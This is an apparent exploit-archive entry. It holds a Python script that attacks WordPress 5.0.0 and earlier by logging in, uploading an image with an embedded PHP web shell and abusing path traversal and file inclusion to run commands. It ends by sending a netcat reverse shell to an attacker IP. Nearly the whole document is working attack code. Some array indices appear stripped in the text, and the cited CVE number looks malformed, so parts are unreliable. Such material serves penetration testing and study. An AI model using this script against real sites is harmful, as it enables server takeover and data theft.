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WordPress versions 5.0.0 and 4.9.8 and below remote code execution exploit that leverages path traversal and file inclusion vulnerabilities.
EXP
# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
# Date: 2020-02-01
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)
# Discovery Author : RIPSTECH Technology
# Version: WordPress 5.0.0 and <= 4.9.8 .
# References : CVE-2019-89242 | CVE-2019-89242 | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
#/usr/bin/env python3
import requests
import re
import sys
from datetime import datetime
banner = """
__ __ _ ____ ____ _____
\ \ / /__ _ __ __| |_ __ _ __ ___ ___ ___ | _ \ / ___| ____|
\ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | | | _|
\ V V / (_) | | | (_| | |_) | | | __/\__ \__ \ | _ <| |___| |___
\_/\_/ \___/|_| \__,_| .__/|_| \___||___/___/ |_| \_\\____|_____|
|_|
5.0.0 and <= 4.9.8
"""
print(banner)
print("usage :")
print("=======")
usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
print(usage)
url = sys.argv1
username = sys.argv2
password = sys.argv3
wp_theme = sys.argv4 # wpscan results
lhost = '10.10.10.10' #attacker ip
lport = '4141' #listening port
date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'
imagename = 'gd.jpg'
# ======
# Note :
# ======
# It could be any jpg image, BUT there are some modifications first :
# 1- image name as : "gd.jpg"
# 2- place the image in the same directory as this exploit.
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET0\`?>"
data = {
'log':username,
'pwd':password,
'wp-submit':'Log In',
'redirect_to':url+'wp-admin/',
'testcookie':1
}
r = requests.post(url+'wp-login.php',data=data)
if r.status_code == 200:
print("+ Login successful.\n")
else:
print("- Failed to login.")
exit(0)
cookies = r.cookies
print("+ Getting Wp Nonce ... ")
res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)
if len(wp_nonce_list) == 0 :
print("- Failed to retrieve the _wpnonce \n")
exit(0)
else :
wp_nonce = wp_nonce_list0
print("+ Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")
print("+ Uploading the image ... ")
data = {
'name': 'gd.jpg',
'action': 'upload-attachment',
'_wpnonce': wp_nonce
}
image = {'async-upload': (imagename, open(imagename, 'rb'))}
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
if r_upload.status_code == 200:
image_id = re.findall(r'{"id":(\d+),',r_upload.text)0
_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)0
print('+ Image uploaded successfully ! Image ID :'+ image_id+"\n")
else :
print("- Failed to receive a response for uploaded image ! try again . \n")
exit(0)
print("+ Changing the path ... ")
data = {
'_wpnonce':_wp_nonce,
'action':'editpost',
'post_ID':image_id,
'meta_input_wp_attached_file':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
print("+ Path has been changed successfully. \n")
else :
print("- Failed to change the path ! Make sure the theme is correcte .\n")
exit(0)
print("+ Getting Ajax nonce ... ")
data = {
'action':'query-attachments',
'post_id':0,
'queryitem':43,
'queryorderby':'date',
'queryorder':'DESC',
'queryposts_per_page':40,
'querypaged':1
}
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)
if res.status_code == 200 and len(ajax_nonce_list) != 0 :
ajax_nonce = ajax_nonce_list0
print('+ Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
else :
print("- Failed to retrieve ajax_nonce.\n")
exit(0)
print("+ Cropping the uploaded image ... ")
data = {
'action':'crop-image',
'_ajax_nonce':ajax_nonce,
'id':image_id,
'cropDetailsx1':0,
'cropDetailsy1':0,
'cropDetailswidth':200,
'cropDetailsheight':100,
'cropDetailsdst_width':200,
'cropDetailsdst_height':100
}
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
if res.status_code == 200:
print("+ Done . \n")
else :
print("- Erorr ! Try again \n")
exit(0)
print("+ Creating a new post to include the image... ")
res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
if res.status_code == 200:
_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)0
post_id = re.findall(r'"post":{"id":(\w+),',res.text)0
print("+ Post created successfully . \n")
else :
print("- Erorr ! Try again \n")
exit(0)
data={
'_wpnonce':_wpnonce,
'action':'editpost',
'post_ID':post_id,
'post_title':'RCE poc by v0lck3r',
'post_name':'RCE poc by v0lck3r',
'meta_input_wp_page_template':'cropped-rahali.jpg'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
print("+ POC is ready at : "+url+'?p='+post_id+'&0=id\n')
print("+ Executing payload !")
requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)
else :
print("- Erorr ! Try again (maybe change the payload) \n")
exit(0)
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